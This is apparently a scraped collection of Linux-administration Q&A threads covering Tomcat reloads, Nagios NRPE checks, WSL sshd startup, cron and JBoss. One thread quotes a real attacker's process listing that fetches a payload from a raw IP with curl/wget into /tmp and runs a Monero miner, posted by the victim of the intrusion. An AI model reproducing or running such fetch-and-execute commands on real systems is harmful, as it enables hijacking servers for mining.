I have been looking for some solution to restart app inside tomcat server on remote linux machine but i haven't found anything yet.
Can anyone please tell me how can i restart the application in Tomcat Server after some time interval without restarting the tomcat server on remote machine?
Can anyone help me out with the Bash Script and CRON Job?
. First configure your tomcat to enable access to the manager application (follow these steps)
. Then test that everything works well from a browser going to the url
http://your_server_url:8080/manager/reload?path=/your_app_context
[EDITED] If your version of Tomcat is 7 or above the url must be:
http:// your_server_url:8080/manager/text/reload?path=/your_app_context
. Do the same from command line using wget o curl
wget -O - http://your_server_url:8080/manager/reload?path=/your_app_context
. Finally edit your crontab (run crontab -e) and set something like this:
# run each day at 01:00
0 1 * * * wget -O - http://your_server_url:8080/manager/reload?path=/your_app_context >/dev/null 2>&1
Related
I make custom bash script to monitor ssh failed logins - which locally runs ok - on nagios server and remote hosts.
root#xxx:/usr/local/nagios/libexec# ./check_bruteforce_ssh.sh -c 20 -w 50
OK - no constant bruteforce attack
But on nagios page - shows Unable to read output
I make so changes in configs to verify form https://support.nagios.com/kb/article/nrpe-nrpe-unable-to-read-output-620.html what's going wrong and I cannot find out where is the problem.
Script runs via nrpe which run on all machine
root#test:/usr/local/nagios/libexec# ./check_nrpe -H test1
NRPE v3.2.1
When I tested script via nrpe I've got problem with
NRPE: Command 'check_bruteforce_ssh' not defined
which is defined in nrpe.cfg
command[check_bruteforce_attack]=/usr/local/nagios/libexec/check_bruteforce_attack.sh -w 20 -c 50
All permissions for user nagios is added - in sudoers etc.
Where can I find the solution or somedoby got similar problem?
You have an error in your definition.
Replace check_bruteforce_attack in nrpe.cfg with check_bruteforce_ssh and it will work ;-)
During the last days I have found on my server a suspicious running processes on my server.
jboss 23276 0.0 0.0 113108 644 ? S 04:25 0:00 /bin/bash -c cd /tmp; rm yam; pkill -9 yam; pkill -9 minergate-cli;curl -ks http://107.155.106.174/t/5tf-1478613950.txt > yam || (wget https://107.155.106.174/t/5tf-1478613950.txt --no-check-certifica
jboss 23277 374 0.1 424456 35600 ? Sl 04:25 2880:22 ./yam --mining-params xmr:av=0&donation-interval=50 -c x -M stratum+tcp://dxzgadfgsdfgsdfgsdfgsdfgwerjukQdysdddRFch2CGykmqWUJPJW2hf23AaJWXmEPe96xYyYVDGn7qN:x#xmr-usa.dwarfpool.com:9050/
I have search on internet and seems to be that someone is using my server as a computing node to bitcoin mining. So someone managed to upload and run this on my server. As far as I know doesn't have access to the password and only is able to do this on the Linux user jboss and my jboss application is running also under this user.
As a quick solution I have create a file with the same names on the tmp folder as root so it will no have access to overwrite it. And also I'm running a script to check every minute if a process who contain some of those process parameter is running.
I want to find the source of this issue. The jboss management console is deactivated.
BTW: my server run a Centos 7 and java version "1.7.0_79".
Propably you have same issue like we had on our server.
It's about vulnereability in Apache Struts, look on this https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 and this https://cwiki.apache.org/confluence/display/WW/S2-045
In our case someone was mining and trying get some information about operating system (SSH version, Os family, users,...). Fortunatelly we are running application under dedicated account and without any public accessed ports (attack misuse proxied app). But you should check some logs and looking some "multipart/form-data" (in our case)
grep -r -ni 'multipart/form-data'
I am having a problem keeping SSH running on the Windows Subsystem for Linux. It seems that if a shell is not open and running bash, all processes in the subsystem are killed. Is there a way to stop this?
I have tried to create a service using nssm but have not be able to get it working. Now I am attempting to start a shell and then just send it to the background but I haven't quite figured out how.
You have to keep at least one bash console open in order for background tasks to keep running: As soon as you close your last open bash console, WSL tears-down all running processes.
And, yes, we're working on improving this scenario in the future ;)
Update 2018-02-06
In recent Windows 10 Insider builds, we added the ability to keep daemons and services running in the background, even if you close all your Linux consoles!
One remaining limitation with this scenario is that you do have to manually start your services (e.g. $ sudo service ssh start in Ubuntu), though we are investigating how we might be able to allow you to configure which daemons/services auto-start when you login to your machine. Updates to follow.
To maintain WSL processes, I place this file in C:\Users\USERNAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wsl.vbs
set ws=wscript.createobject("wscript.shell")
ws.run "C:\Windows\System32\bash.exe -c 'sudo /etc/rc.local'",0
In /etc/rc.local I kick off some services and finally "sleep" to keep the whole thing running:
/usr/sbin/sshd
/usr/sbin/cron
#block on this line to keep WSL running
sleep 365d
In /etc/sudoers.d I added a 'rc-local' file to allow the above commands without a sudo password prompt:
username * = (root) NOPASSWD: /etc/rc.local
username * = (root) NOPASSWD: /usr/sbin/cron
username * = (root) NOPASSWD: /usr/sbin/sshd
This worked well on 1607 but after the update to 1704 I can no longer connect to wsl via ssh.
Once you have cron running you can use 'sudo crontab -e -u username' to define cron jobs with #reboot to launch at login.
Just read through this thread earlier today and used it to get sshd running without having a wsl console open.
I am on Windows 10 Version 1803 and using Ubuntu 16.04.5 LTS in WSL.
I needed to make a few changes to get it working. Many thanks to google search and communities like this.
I modified /etc/rc.local as such:
mkdir /var/run/sshd
/usr/sbin/sshd
#/usr/sbin/cron
I needed to add the directory for sshd or I would get an error "Missing privilege separation directory /var/run/sshd
I commented out cron because I was getting similar errors and haven't had the time or need yet to fix it.
I also changed the sudoers entries a little bit in order to get them to work:
username ALL = ....
Hope this is useful to someone.
John Butler
I have 1and1 web hosting. I am supposed to be able to set up cron jobs using crontab to execute on the server. I have a job set up as follows (including showing the full path to my PHP installation):
(uiserver):u*******:~ > which php5.4
/usr/local/bin/php5.4
(uiserver):u*******:~ > crontab -l
20 * * * * /usr/local/bin/php5.4 /kunden/homepages/40/d*******/htdocs/job.php
If I execute the command manually in the terminal, it runs fine. But the cron job never runs.
Am I missing something obvious?
I've tried checking the cron logs, but I just get permission denied, unfortunately, so that was no help for troubleshooting. The joys of being on somebody else's server, I guess...
What I've done so far according to these instructions is unziped and moved jboss into my /usr/local/ directory. Then I put the jboss_init_redhat.sh script in /etc/init.d/ as jboss and edited the script to meet my configurations. I then run /etc/init.d/jboss start and all it says is
JBOSS_CMD_START = cd /usr/local/jboss-4.2.3.GA//bin; /usr/local/jboss-4.2.3.GA//bin/run.sh -c default -b 0.0.0.0
and then nothing happens. Also if I go into /usr/local/jboss-4.2.3.GA/bin and run run.sh it starts the server but when I go to the vm's IP:8080 in my browser I still get nothing. Any help would be appreciated also I don't know much about doing this so excuse my inexperience.
Init scripts should be owned and started by root.
The init script you use uses su (better would be to runuser) to change to the jboss user.
The jboss user itself does not have permission to do that.
The jboss user also does not have permission to write to /var/run etc.
So run sudo /etc/init.d/jboss start (you need to set up sudo first to allow this) or change to the root account and execute /etc/init.d/jboss start.
If it still fails check the logs at /usr/local/jboss-4.2.3.GA/server/default/log.
Hope this helps.